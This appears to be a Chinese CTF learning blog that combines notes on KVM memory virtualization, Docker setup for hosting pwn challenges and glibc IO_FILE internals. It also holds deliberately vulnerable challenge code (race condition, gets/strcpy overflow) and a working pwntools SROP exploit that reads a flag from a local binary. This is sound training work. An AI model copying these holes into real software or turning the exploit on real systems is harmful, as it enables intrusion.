12345678910111213141516void kvm_inject_page_fault(struct kvm_vcpu *vcpu, struct x86_exception *fault){ ++vcpu->stat.pf_guest; /* * Async #PF in L2 is always forwarded to L1 as a VM-Exit regardless of * whether or not L1 wants to intercept "regular" #PF. */ if (is_guest_mode(vcpu) && fault->async_page_fault) kvm_queue_exception_vmexit(vcpu, PF_VECTOR, true, fault->error_code, true, fault->address); else kvm_queue_exception_e_p(vcpu, PF_VECTOR, fault->error_code, fault->address);}
GPA-HPA 映射 建立映射后往后走,来到下一个重要函数
kvm_faultin_pfn这个函数用来处理虚拟地址映射到宿主机的物理地址
mmu.c
123456789101112131415161718192021static int kvm_faultin_pfn(struct kvm_vcpu *vcpu, struct kvm_page_fault *fault, unsigned int access){ int ret; fault->mmu_seq = vcpu->kvm->mmu_invalidate_seq; smp_rmb(); ret = __kvm_faultin_pfn(vcpu, fault); if (ret != RET_PF_CONTINUE) return ret; if (unlikely(is_error_pfn(fault->pfn))) return kvm_handle_error_pfn(vcpu, fault); if (unlikely(!fault->slot)) return kvm_handle_noslot_fault(vcpu, fault, access); return RET_PF_CONTINUE;}
这其中主要调用__kvm_faultin_pfn完成实际映射工作
123456789101112static int __kvm_faultin_pfn(struct kvm_vcpu *vcpu, struct kvm_page_fault *fault){ struct kvm_memory_slot *slot = fault->slot; bool async;..... async = false; fault->pfn = __gfn_to_pfn_memslot(slot, fault->gfn, false, false, &async, fault->write, &fault->map_writable, &fault->hva);......}
而这里,最关键的是__gfn_to_pfn_memslot,通过这个函数拿到pfn
影子页表填充 映射和填充是两回事?
for_each_shadow_entry用来迭代不同页表级别
123456789101112131415161718192021222324252627282930313233343536static int FNAME(fetch)(struct kvm_vcpu *vcpu, struct kvm_page_fault *fault, struct guest_walker *gw){ ..... for_each_shadow_entry(vcpu, fault->addr, it) { //应该是用来查找对应级别的页表目录 gfn_t table_gfn; clear_sp_write_flooding_count(it.sptep); if (it.level == gw->level) break; table_gfn = gw->table_gfn[it.level - 2]; //获取当前页表级别的表项对应的页表页的GFN access = gw->pt_access[it.level - 2]; sp = kvm_mmu_get_child_sp(vcpu, it.sptep, table_gfn, false, access); //尝试获取或创建当前页表级别的影子页表页,false表示不创建新的,仅尝试获取已存在的//it.sptep 表示当前的SPTE if (sp != ERR_PTR(-EEXIST)) { // 成功获取或创建 ............. /* * Verify that the gpte in the page we've just write * protected is still there. */ if (FNAME(gpte_changed)(vcpu, gw, it.level - 1)) goto out_gpte_changed; if (sp != ERR_PTR(-EEXIST)) link_shadow_page(vcpu, it.sptep, sp);//将影子页表与SPTE进行链接 if (fault->write && table_gfn == fault->gfn) fault->write_fault_to_shadow_pgtable = true; ..... ret = mmu_set_spte(vcpu, fault->slot, it.sptep, gw->pte_access, base_gfn, fault->pfn, fault); //设置/更新PTE ..... }
kvm_mmu_get_child_sp
12345678910111213static struct kvm_mmu_page *kvm_mmu_get_child_sp(struct kvm_vcpu *vcpu, u64 *sptep, gfn_t gfn, bool direct, unsigned int access){ union kvm_mmu_page_role role; if (is_shadow_present_pte(*sptep) && !is_large_pte(*sptep)) return ERR_PTR(-EEXIST); // 检查是否存在 role = kvm_mmu_child_role(sptep, direct, access); //新的页表的属性 return kvm_mmu_get_shadow_page(vcpu, gfn, role);//查找/创建新的影子页表页}
kvm_mmu_get_shadow_page来创建/查找
123456789101112static struct kvm_mmu_page *kvm_mmu_get_shadow_page(struct kvm_vcpu *vcpu, gfn_t gfn, union kvm_mmu_page_role role){ struct shadow_page_caches caches = { .page_header_cache = &vcpu->arch.mmu_page_header_cache, .shadow_page_cache = &vcpu->arch.mmu_shadow_page_cache, .shadowed_info_cache = &vcpu->arch.mmu_shadowed_info_cache, }; return __kvm_mmu_get_shadow_page(vcpu->kvm, vcpu, &caches, gfn, role);//gfn表示需要映射的guest页的地址}
__kvm_mmu_get_shadow_page 最终的查找/创建影子页表页
12345678910111213141516171819202122/* Note, @vcpu may be NULL if @role.direct is true; see kvm_mmu_find_shadow_page. */static struct kvm_mmu_page *__kvm_mmu_get_shadow_page(struct kvm *kvm, struct kvm_vcpu *vcpu, struct shadow_page_caches *caches, gfn_t gfn, union kvm_mmu_page_role role){ struct hlist_head *sp_list; struct kvm_mmu_page *sp; bool created = false; sp_list = &kvm->arch.mmu_page_hash[kvm_page_table_hashfn(gfn)]; sp = kvm_mmu_find_shadow_page(kvm, vcpu, gfn, sp_list, role);//从哈希表中查找指定gfn和role的影子页表页 if (!sp) { // 没有找到,进行创建 created = true; sp = kvm_mmu_alloc_shadow_page(kvm, caches, gfn, sp_list, role); } trace_kvm_mmu_get_page(sp, created); return sp;}
遍历到最后一级页表,相应的表项不存在,就需要位GPA申请物理页面、填充页表项了
set_pte寻找空闲的物理页,填充页表项
123456789101112131415161718static int mmu_set_spte(struct kvm_vcpu *vcpu, struct kvm_memory_slot *slot, u64 *sptep, unsigned int pte_access, gfn_t gfn, kvm_pfn_t pfn, struct kvm_page_fault *fault){ struct kvm_mmu_page *sp = sptep_to_sp(sptep); int level = sp->role.level; ........ if (is_shadow_present_pte(*sptep)) ...... wrprot = make_spte(vcpu, sp, slot, pte_access, gfn, pfn, *sptep, prefetch, true, host_writable, &spte);...}
make_spte 生成新的页表项
建立好之后的寻址 每次访问cr3都会触发异常
12345678910111213141516171819202122232425static int handle_cr(struct kvm_vcpu *vcpu){ unsigned long exit_qualification, val; int cr; int reg; int err; int ret; exit_qualification = vmx_get_exit_qual(vcpu); //读取字段 cr = exit_qualification & 15; //提取字段的 0-3位,判断访问的那个控制寄存器 reg = (exit_qualification >> 8) & 15;//提取8-11位,判断guest试图加载到cr3的页表地址存储在哪个寄存器 switch ((exit_qualification >> 4) & 3) {//提取4、5位 判断时写还是读控制寄存器 0表示写 case 0: /* mov to cr */ val = kvm_register_read(vcpu, reg); trace_kvm_cr_write(cr, val); switch (cr) { case 0: err = handle_set_cr0(vcpu, val); return kvm_complete_insn_gp(vcpu, err); case 3: WARN_ON_ONCE(enable_unrestricted_guest); err = kvm_set_cr3(vcpu, val); return kvm_complete_insn_gp(vcpu, err);..........
不知道kvm_register_read读取的cr3是否存储着影子页表的地址,是的话逻辑就比较简单了,设置cr3为影子页表的地址,然后就拿到了地址映射,进行后续内存操作??
1234int kvm_set_cr3(struct kvm_vcpu *vcpu, unsigned long cr3){..... vcpu->arch.cr3 = cr3;
二、EPT 简而言之:MMU完成GVA到GPA的映射(kvm不捕获异常了,guest自己处理),EPT完成GPA到HPA的映射. 引入了EPT violation异常处理EPT的缺页
具体而言:当Guest内部发生缺页异常时,CPU不再切换到Host模式了,而是由Guest自身的缺页异常处理函数处理。当地址从GVA翻译到GPA后,GPA在硬件内部从MMU流转到了EPT。如果EPT页表中存在GPA到HPA的映射,则EPA最终获取了GPA对应的HPA,将HPA送上地址总线。如果EPT中尚未建立GPA到HPA的映射,则CPU抛出EPT异常,CPU从Guest模式切换到Host模式,KVM中的EPT异常处理函数负责寻找空闲物理页面,建立EPT表中GPA到HPA的映射。
VMX在VMCS中定义了一个字段 Extended-Page-Table Pointer,KVM可以将EPT页表的位置写入这个字段,这样当CPU进入Guest模式时,就可以从这个字段读取EPT页表的位置。
EPT页表的设置vmx.c
1234567891011121314151617181920212223242526272829static void vmx_load_mmu_pgd(struct kvm_vcpu *vcpu, hpa_t root_hpa, int root_level){ struct kvm *kvm = vcpu->kvm; bool update_guest_cr3 = true; unsigned long guest_cr3; u64 eptp; if (enable_ept) { eptp = construct_eptp(vcpu, root_hpa, root_level); vmcs_write64(EPT_POINTER, eptp); hv_track_root_tdp(vcpu, root_hpa); if (!enable_unrestricted_guest && !is_paging(vcpu)) guest_cr3 = to_kvm_vmx(kvm)->ept_identity_map_addr; else if (kvm_register_is_dirty(vcpu, VCPU_EXREG_CR3)) guest_cr3 = vcpu->arch.cr3; else /* vmcs.GUEST_CR3 is already up-to-date. */ update_guest_cr3 = false; vmx_ept_load_pdptrs(vcpu); } else { guest_cr3 = root_hpa | kvm_get_active_pcid(vcpu); } if (update_guest_cr3) vmcs_writel(GUEST_CR3, guest_cr3);}
通过construct_eptp构建ept,然后vmcs_write64写入vmcs,这里是将root_hpa作为了EPT的根页面,第18行,设置变量guest_cr3指向guest自己的页表,最后27行,把cr3的值写入VMCS字段,这样切入guest后,guest模式下的CPU的cr3寄存器就指向了自己的页表。
EPT页表的构建 / 缺页异常处理 (GPA-HPA) CPU需要查询EPT表来进行GPA-HPA的转换,初始情况下,guest cr3指向的地址的页表项都是空的,CPU触发EPT violation ,虚拟机产生退出,并且退出原因为EXIT_REASON_EPT_VIOLATION,会调用handle_ept_violation处理函数
vmx.c
1234567891011121314151617static int handle_ept_violation(struct kvm_vcpu *vcpu){ unsigned long exit_qualification; gpa_t gpa; u64 error_code; exit_qualification = vmx_get_exit_qual(vcpu); if (!(to_vmx(vcpu)->idt_vectoring_info & VECTORING_INFO_VALID_MASK) && enable_vnmi && (exit_qualification & INTR_INFO_UNBLOCK_NMI)) vmcs_set_bits(GUEST_INTERRUPTIBILITY_INFO, GUEST_INTR_STATE_NMI); gpa = vmcs_read64(GUEST_PHYSICAL_ADDRESS);// vm exit前会将引发异常的GPA保存到VMCS的该字段,这里进行读取....... return kvm_mmu_page_fault(vcpu, gpa, error_code, NULL, 0);}
经过一系列检查和设置后进入kvm_mmu_page_fault处理函数,这里就检查了mmio这种错误,如果不是的话,会进入下一个处理函数kvm_mmu_do_page_fault
1234567891011121314151617181920int noinline kvm_mmu_page_fault(struct kvm_vcpu *vcpu, gpa_t cr2_or_gpa, u64 error_code, void *insn, int insn_len){.... r = RET_PF_INVALID; if (unlikely(error_code & PFERR_RSVD_MASK)) { r = handle_mmio_page_fault(vcpu, cr2_or_gpa, direct); if (r == RET_PF_EMULATE) goto emulate; } if (r == RET_PF_INVALID) { r = kvm_mmu_do_page_fault(vcpu, cr2_or_gpa, lower_32_bits(error_code), false, &emulation_type);.....}EXPORT_SYMBOL_GPL(kvm_mmu_page_fault);
kvm_mmu_do_page_fault
mmu_internal.h 这里会进入kvm_tdp_page_fault(上面的影子页表就进入else了)
12345678910111213static inline int kvm_mmu_do_page_fault(struct kvm_vcpu *vcpu, gpa_t cr2_or_gpa, u32 err, bool prefetch, int *emulation_type){...... if (IS_ENABLED(CONFIG_RETPOLINE) && fault.is_tdp) r = kvm_tdp_page_fault(vcpu, &fault); else r = vcpu->arch.mmu->page_fault(vcpu, &fault);.....}
kvm_tdp_page_fault, 目前还不是很了解tdp,但走这两条路都能到最后的地址映射
12345678910int kvm_tdp_page_fault(struct kvm_vcpu *vcpu, struct kvm_page_fault *fault){.....#ifdef CONFIG_X86_64 if (tdp_mmu_enabled) return kvm_tdp_mmu_page_fault(vcpu, fault);#endif return direct_page_fault(vcpu, fault);}
kvm_tdp_mmu_page_fault中的kvm_faultin_pfn是GPA到HPA的重要函数
1234567static int kvm_tdp_mmu_page_fault(struct kvm_vcpu *vcpu, struct kvm_page_fault *fault){.. r = kvm_faultin_pfn(vcpu, fault, ACC_ALL); ...}
direct_page_fault的最后会走到direct_map函数,direct_map是EPT页表构建过程中的关键函数, 建立映射,感觉一些主体逻辑和 FNAME(fetch)有点像
三、TLB缓存 EPT:CPU使用TLB(Translation Lookaside Buffer)缓存线性虚拟地址到物理地址的映射,地址转换时CPU先根据GPA先查找TLB,如果未找到映射的HPA,将根据页表中的映射填充TLB,再进行地址转换。
影子页表方案:不同Guest的vCPU切换执行时需要刷新TLB,严重影响了内存访问效率。因此,Intel引入了VPID(Virtual-Processor Identifier)技术在硬件上为TLB增加一个标志,每个TLB表项与一个VPID关联,唯一对应一个vCPU,当vCPU切换时可根据VPID找到并保留已有的TLB表项,减少TLB刷新。
VPID VPID是一种硬件级的对TLB资源管理的优化。通过在硬件上为每个TLB项增加一个标志,来标识不同的虚拟处理器地址空间,从而区分开VMM以及不同虚拟机的不同处理器的TLB。避免了每次切换都使得TLB全部失效。
VT-x 通过在VMCS中增加两个域来支持VPID,一个是VMCS中的enable VPID域,该域决定是否开启VPID功能。第二个是VPID域,用于标识VMCS对应的TLB。VMM本身也需要一个VPID,VT-x规定虚拟处理器标志0被指定用于VMM自身。
capabilities.h中有一个关于内存两大特性的结构体
1234struct vmx_capability { u32 ept; u32 vpid;};
会在hardware_setup函数中设置相关特性是否开启
12345static __init int hardware_setup(void){ if (!cpu_has_vmx_vpid() || !cpu_has_vmx_invvpid() || !(cpu_has_vmx_invvpid_single() || cpu_has_vmx_invvpid_global())) enable_vpid = 0;
剩下的事好像就没软件什么事了,归硬件去操作
四、参考https://www.cnblogs.com/LoyenWang/p/13943005.html 不过这个是arm的
https://mp.weixin.qq.com/s/fLSSbtPjx29Gg-IJfgnbZw
https://zhuanlan.zhihu.com/p/108425561 TLB原理
http://www.xiongfuli.com/%E8%99%9A%E6%8B%9F%E5%8C%96/2013-06/KVM-Implementation.html
https://luohao-brian.gitbooks.io/interrupt-virtualization/content/kvmzhi-nei-cun-xu-ni531628-kvm-mmu-virtualization.html
https://cloud.tencent.com/developer/article/1975756
https://royhunter.github.io/2014/06/18/KVM-EPT/
pwn入门-40-racecondition条件竞争漏洞初探
这个题目搭建环境不知道怎么搭建…控制不好权限直接就可以执行命令拿flag了..
改一下函数, system和/bin/sh 或者给出libc地址? gift
gcc -o race main.c -fno-stack-protector -no-pie需要关闭canary和pie
https://bbs.huaweicloud.com/blogs/399812
为啥出错呢, core dumped看一下吧
https://blog.csdn.net/qq_43714097/article/details/130734858
https://stackoverflow.com/questions/32892908/c-system-raises-enomem
https://airman604.medium.com/protostar-stack7-walkthrough-2aa2428be3e0
https://blog.csdn.net/weixin_44411509/article/details/109860791
https://blog.csdn.net/chichoxian/article/details/53486131
主要就是这里说的问题
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/stat.h>#include <unistd.h>//void showflag() { system("cat flag"); } char *argv[]={"cat","./flag", NULL}; char *envp[]={0,NULL};void showflag() { execve("/bin/cat",argv,envp); }void vuln(char *file, char *buf) { int number; int index = 0; int fd = open(file, O_RDONLY); if (fd == -1) { perror("open file failed!!"); return; } while (1) { number = read(fd, buf + index, 128); if (number <= 0) { break; } index += number; } buf[index + 1] = '\x00';}void check(char *file) { struct stat tmp; if (strcmp(file, "flag") == 0) { puts("file can not be flag!!"); exit(0); } stat(file, &tmp); if (tmp.st_size > 255) { puts("file size is too large!!"); exit(0); }}int main(int argc, char *argv[argc]) { char buf[256]; if (argc == 2) { check(argv[1]); vuln(argv[1], buf); } else { puts("Usage ./prog <filename>"); } return 0;}
回头整理一下搭建题目环境。。。
pwn入门-39-docker入门及pwn出题环境搭建
docker入门参考资料:https://www.runoob.com/docker
https://yeasy.gitbook.io/docker_practice/
一、安装使用官方脚本安装docker
curl -fsSL https://get.docker.com | bash -s docker –mirror Aliyun
手动安装(不如脚本稳定少出错)
开启docker
systemctl enable docker
systemctl start docker
测试是否安装成功: docker run –rm hello-world
hello-world是测试容器, –rm表示退出容器后,自动删除容器
二、使用入门1.镜像
docker images 查看本地镜像
docker pull xxxx 拉去镜像, 例如docker pull ubuntu:18.04
不给镜像仓库地址的话, 会从 Docker Hub (docker.io)获取镜像, 而镜像名称是 ubuntu:18.04,因此将会获取官方镜像 library/ubuntu 仓库中标签为 18.04 的镜像。docker pull命令的输出结果最后一行给出了镜像的完整名称,例如: docker.io/library/ubuntu:18.04。
docker rmi xxxx 删除镜像
docker build -t xxxx . 用dockerfile构建镜像
2.容器
docker ps 查看容器 -a查看所有(包括停止的)
docker run -it ubuntu:18.04 bash
-it: -i 交互式操作 -t 终端
bash 命令,希望有交互式shell,所以用这个,或者/bin/sh之类的
docker stop xxx 停止容器
CTF-pwn出题环境搭建 pwn出题主要用到了 https://github.com/Eadom/ctf_xinetd
环境搭建
https://blog.csdn.net/weixin_53757397/article/details/128489015
https://blog.csdn.net/mylyylmy/article/details/79917776
https://nocbtm.github.io/2019/09/25/pwn题的搭建/
https://blog.csdn.net/weixin_53757397/article/details/128489015 感觉有点啰嗦,不一定需要上传docker仓库
https://blog.csdn.net/weixin_46521144/article/details/120572274 排错
搭建步骤git clone https://github.com/Eadom/ctf_xinetd.git
将编译好的libc、flag、题目文件拷贝到bin目录下
如果需要特定的libc
提前patchelf好,把libc文件页拷贝到ctf_xinetd的bin目录下
patchelf –set-interpreter ./2.31-0ubuntu9_amd64/ld-linux-x86-64.so.2 ./timu patchelf –set-rpath ./2.31-0ubuntu9_amd64/ ./timu
用绝对路径不知道为什么不行????
创建docker-compose.yml文件,这里的3389改成题目要映射的端口(物理机的),9999是docker里面的端口,image名字要和后面创建的docker images名字一样
123456789101112version: '3'services: pwn: build: ./ image: pwn1 #这里修改的是images名,将和 docker build -t "pwn1" . 该命令有关 ports: - "3389:9999" pids_limit: 1024 # cpus: 0.5 restart: unless-stopped # privileged: true
Dockerfile
1234FROM ubuntu:22.04 根据情况修改版本 RUN cp -R /lib* /home/ctf &&\ 版本高于18.04要删除这一句??为啥呢?? cp -R /usr/lib* /home/ctf
ctf.xinetd
1234567891011121314151617181920service ctf{ disable = no socket_type = stream protocol = tcp wait = no user = root type = UNLISTED port = 9999 bind = 0.0.0.0 server = /usr/sbin/chroot # replace helloworld to your program server_args = --userspec=1000:1000 /home/ctf ./timu 这里timu是题目bin文件名 banner_fail = /etc/banner_fail # safety options per_source = 10 # the maximum instances of this service per source IP address rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use #rlimit_as = 1024M # the Address Space resource limit for the service #access_times = 2:00-9:00 12:00-24:00}
制作镜像
建立容器,pwn1名字就是镜像的名字
1docker build -t "pwn1" .
4.创建运行容器
docker run -d -p 0.0.0.0:3389:9999 pwn1 运行容器,这里就部署好了,可以进行打了,3389是暴露出来的端口
docker exec -it 16a224caf905 /bin/bash 和容器进行交互,(这个是退出后再次进入,和run时候-it不一样)
文件拷贝 https://blog.csdn.net/sunhuaqiang1/article/details/88354410
docker cp /root/chuti/uaf/timu pwncp:/home/ctf/timu
https://blog.csdn.net/yue7603835/article/details/122456650
pwn入门-38-月赛出题3道
例行月赛出题,出了三道,两道是基于自己做过的题,融合了其他知识点(缝缝补补又一年),还有一道是临时出的凑数的。感觉确实不仅需要做题,也需要出题,出题的时候才能更好地理解出题人的想法(废话。。),以及注意到之前的很多细节。
这次也踩坑踩了很多,比如条件竞争的题目,不知道怎么部署。。。想了很多方案都不行。以及docker容器自身的问题,它只是隔离了进程,并没有用新的内核,所以一些内核特性用不了。
ret2reg题目源码123456789101112131415161718192021#include <stdio.h> #include <string.h> void evilfunction(char *input) { char buffer[512]; strcpy(buffer, input); } int main(int argc, char **argv) { char input[580]; printf("welcome to here,please give me something"); gets(input); evilfunction(input); return 0; }
分析 本身这道题的原题是没有开启随机化,相对比较简单,可以直接写shellcode,然后call eax这种过去执行shellcode,但是如果开了随机化,call eax的地址就不确定了,但是可以进行枚举,(之前一直不会写枚举的脚本,这次学会了。。。)感觉之前有时候也是成功了,但是没有正确停止或打印
PIE和ALSR:
ALSR:/proc/sys/kernel/randomize_va_spac 完全开启时 栈、堆、libc变化,程序本身及PLT不变
PIE:可执行程序的加载基址
在作者那个年代,应该是默认不开启PIE的,现在都是默认开启… 不开启的话,就很容易了,alsr不影响,所以做的时候有点怪怪的…
gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector -no-pie
objdump -d ret2reg
804901d
开启PIE 进行枚举, 随机化程度是多少呢??
踩坑,改为用户输入123456789101112131415161718#include <stdio.h> #include <string.h> void evilfunction(char *input) { char buffer[512]; strcpy(buffer, input); } int main(int argc, char **argv) { char input[580]; printf("welcome to here,please give me something"); gets(input); evilfunction(input); return 0; }
SROP 本来寻思直接给个/bin/sh会简单,后来发现好像和原题差不多…然后不如加个系统调用限制(不过好像过滤的不完全,还是能getshell?)
如何直接写汇编呢? (也可以写一篇分析
https://blog.csdn.net/qq_27816307/article/details/50995042
1234567891011121314151617section .data ; 数据段声明 msg db "Hello, world!", 0xA ; 要输出的字符串 len equ $ - msg ; 字串长度section .text ; 代码段声明global _start ; 指定入口函数_start: ; 在屏幕上显示一个字符串mov eax, 4 ; 系统调用号(sys_write);man 2 write 可以查看write系统调用的功能;write函数原型: ssize_t write(int fd,const void *buf,size_t count);mov ebx, 1 ; 参数一:文件描述符(stdout)mov ecx, msg ; 参数二:要显示的字符串mov edx, len ; 参数三:字符串长度int 0x80 ; 调用内核功能。软中断,陷入内核mov eax, 1 ; 系统调用号(sys_exit)mov ebx, 0 ; 参数一:退出代码int 0x80 ; 调用内核功能
nasm 注意编译多少位的,blog里面是32的,64的话
nams -f elf64 hello.asm
用gcc链接也可以(本质都一样吧)
gcc -o example example.o
ld -s -o hello hello.o
反汇编看一下
用seccmp禁掉execve? 还是啥
先封装到c里面
12nasm -f elf64 hello.asmgcc -fno-stack-protector -no-pie -o myprogram 1.c hello.o
objdump -s -j .rodata your_binary_file 查看字符串
seccomp
关于文件描述符的调试,gdb中如何查看呢? Linux中又如何查看呢?
1.c:4:10: fatal error: seccomp.h: 没有那个文件或目
sudo apt-get install libseccomp-dev
编译的时候需要加选项 -lseccomp
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182root@ubuntu:/home/ubuntu/桌面/pwn/8月/srop/test1# cat exp.pyfrom pwn import *small = ELF('./test')if args['REMOTE']: sh = remote('127.0.0.1', 7777)else: sh = process('./myprogram')context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b 0x401000")context.arch = 'amd64'context.log_level = 'debug'syscall_ret = 0x000000000040112estart_addr = 0x0000000000401120payload = p64(start_addr) * 4sh.send(payload)pause()sh.send("\x23")stack_addr = u64(sh.recv()[16:24])log.success('leak stack addr :' + hex(stack_addr))sigframe = SigreturnFrame()sigframe.rax = constants.SYS_readsigframe.rdi = 0 sigframe.rsi = stack_addrsigframe.rdx = 0x400sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + b"a"*8 + bytes(sigframe)sh.send(payload)sigreturn = p64(syscall_ret) + b"x"*7print("hereeeeeeeeeeeeeeeeeeeeeeeeeee")pause()sh.send(sigreturn)sigframe = SigreturnFrame()sigframe.rax = constants.SYS_opensigframe.rdi = 0x402004 sigframe.rsi = 0sigframe.rdx = 0sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + b"a"*8 + bytes(sigframe)sh.send(payload)sigreturn = p64(syscall_ret) + b"x"*7print("hereeeeeeeeeeeeeeeeeeeeeeeeeee")pause()sh.send(sigreturn)sigframe = SigreturnFrame()sigframe.rax = constants.SYS_readsigframe.rdi = 3 sigframe.rsi = stack_addr+0x200sigframe.rdx = 0x100sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + b"a"*8 + bytes(sigframe)sh.send(payload)sigreturn = p64(syscall_ret) + b"x"*7print("hereeeeeeeeeeeeeeeeeeeeeeeeeee")pause()sh.send(sigreturn)sigframe = SigreturnFrame()sigframe.rax = constants.SYS_writesigframe.rdi = 1 sigframe.rsi = stack_addr+0x200sigframe.rdx = 0x100sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + b"a"*8 + bytes(sigframe)sh.send(payload)sigreturn = p64(syscall_ret) + b"x"*7print("hereeeeeeeeeeeeeeeeeeeeeeeeeee")pause()sh.send(sigreturn)sh.interactive()
白名单感觉复杂点,可以直接上黑名单
https://www.sec4.fun/2018/07/23/seccomp/
pwn入门-37-IOFILE初探
进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。
啥时chain域? 如何在gdb中调试打印呢?
我们可以在 libc.so 中找到 stdin\stdout\stderr 等符号,这些符号是指向 FILE 结构的指针,真正结构的符号是
readelf怎么找符号来?
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write@
123_IO_2_1_stderr__IO_2_1_stdout__IO_2_1_stdin_
1234567pwn# readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep stdin 378: 00000000001ec980 224 OBJECT GLOBAL DEFAULT 34 _IO_2_1_stdin_@@GLIBC_2.2.5 547: 00000000001ed790 8 OBJECT GLOBAL DEFAULT 34 stdin@@GLIBC_2.2.5pwn# readelf -s /lib/x86_64-linux-gnu/libc.so.6 |grep _IO_2_1_st 378: 00000000001ec980 224 OBJECT GLOBAL DEFAULT 34 _IO_2_1_stdin_@@GLIBC_2.2.5 852: 00000000001ed6a0 224 OBJECT GLOBAL DEFAULT 34 _IO_2_1_stdout_@@GLIBC_2.2.5 1427: 00000000001ed5c0 224 OBJECT GLOBAL DEFAULT 34 _IO_2_1_stderr_@@GLIBC_2.2.5
FILE 结构https://blog.csdn.net/xy_369/article/details/130874848
关于代码, 代码存在于glibc/libio/中 主要是libio.h
FILE结构被一系列流操作函数(fopen() fread() fclose())等所使用,大多数的FILE结构保存在堆上(stdin、stdout、stderr除外,位于libc数据段),其指针动态创建并由fopen函数返回
_IO_FILE_plus 在libc2.23版本中,这个结构体是_IO_FILE_plus, 包含了一个 _IO_FILE结构体和一个指向 _IO_jump_t结构体的指针vtable
libioP.h
12345678910/* We always allocate an extra word following an _IO_FILE. This contains a pointer to the function jump table used. This is for compatibility with C++ streambuf; the word can be used to smash to a pointer to a virtual function table. */struct _IO_FILE_plus{ _IO_FILE file; const struct _IO_jump_t *vtable;};
各种文件结构( _IO_FILE )采用单链表的形式连接起来( _chain域),通过 _IO_list_all访问
vtable为函数指针结构体,存放着各种IO相关函数的指针
像_IO_FILE_plus这种这么打印呢
123456789101112131415161718192021222324252627282930313233343536373839pwndbg> p &_IO_list_all$1 = (struct _IO_FILE_plus **) 0x7ffff7fb05a0 <_IO_list_all> pwndbg> p /x *(struct _IO_FILE_plus*) _IO_list_all$3 = { file = { _flags = 0xfbad2086, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7fb06a0, _fileno = 0x2, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = {0x0}, _lock = 0x7ffff7fb17d0, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7faf780, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0x0, _unused2 = {0x0 <repeats 20 times>} }, vtable = 0x7ffff7fac4a0}
vtable 是 IO_jump_t 类型的指针,IO_jump_t 中保存了一些函数指针,在后面我们会看到在一系列标准 IO 函数中会调用这些函数指针
12345678910111213141516171819202122232425pwndbg> p /x *(struct _IO_jump_t*) _IO_list_all.vtable$2 = { __dummy = 0x0, __dummy2 = 0x0, __finish = 0x7ffff7e52f50, __overflow = 0x7ffff7e53d80, __underflow = 0x7ffff7e53a20, __uflow = 0x7ffff7e54f50, __pbackfail = 0x7ffff7e56680, __xsputn = 0x7ffff7e525d0, __xsgetn = 0x7ffff7e52240, __seekoff = 0x7ffff7e51860, __seekpos = 0x7ffff7e55600, __setbuf = 0x7ffff7e51530, __sync = 0x7ffff7e513c0, __doallocate = 0x7ffff7e44c70, __read = 0x7ffff7e525a0, __write = 0x7ffff7e51e60, __seek = 0x7ffff7e51600, __close = 0x7ffff7e51520, __stat = 0x7ffff7e51e40, __showmanyc = 0x7ffff7e56810, __imbue = 0x7ffff7e56820}
初始情况 初始情况下_IO_FILE 结构有_IO_2_1_stderr_ ,_IO_2_1_stdout_,_IO_2_1_stdin_ 三个,通过 _IO_list_all连接起来
stdfiles.c
123456789101112131415161718192021# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \ static struct _IO_wide_data _IO_wide_data_##FD \ = { ._wide_vtable = &_IO_wfile_jumps }; \ struct _IO_FILE_plus NAME \ = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \ &_IO_file_jumps};# else# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \ struct _IO_FILE_plus NAME \ = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, NULL), \ &_IO_file_jumps};# endif#endifDEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);struct _IO_FILE_plus *_IO_list_all = &_IO_2_1_stderr_;libc_hidden_data_def (_IO_list_all)
并且存在 3 个全局指针 stdin,stdout,stderr 分别指向 _IO_2_1_stdin_,_IO_2_1_stdout_,_IO_2_1_stderr_ 三个结构体。
stdio.c
12345678910#undef stdin#undef stdout#undef stderr_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;#undef _IO_stdin#undef _IO_stdout#undef _IO_stderr
于是初始化后的结构如下,可以看到是头插法插入新来的iofile
fopen fopen在标准IO库中用于打开文件,函数原型如下
1FILE *fopen(char *filename, *type);
源码分析如下
include/stdio.h
123# if IS_IN (libc)extern _IO_FILE *_IO_new_fopen (const char*, const char*);# define fopen(fname, mode) _IO_new_fopen (fname, mode)
libio/iofopen.c
12345_IO_FILE *_IO_new_fopen (const char *filename, const char *mode){ return __fopen_internal (filename, mode, 1);}
